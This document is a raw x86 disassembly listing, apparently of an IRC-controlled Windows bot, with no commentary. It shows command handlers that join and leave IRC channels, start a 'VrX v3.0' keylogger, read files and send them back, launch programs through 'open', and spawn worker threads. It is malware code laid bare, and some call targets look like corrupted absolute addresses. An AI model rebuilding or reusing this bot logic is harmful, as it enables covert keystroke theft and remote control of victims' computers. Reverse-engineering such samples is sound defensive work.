		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		nop
		call	near ptr 2680C22h
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 26803B2h
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 26803B2h
		nop
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		call	near ptr 2680C22h
		nop
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680437h
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26803B2h
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 2680591h
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26803B2h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		nop
		call	near ptr 2690B4Dh
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


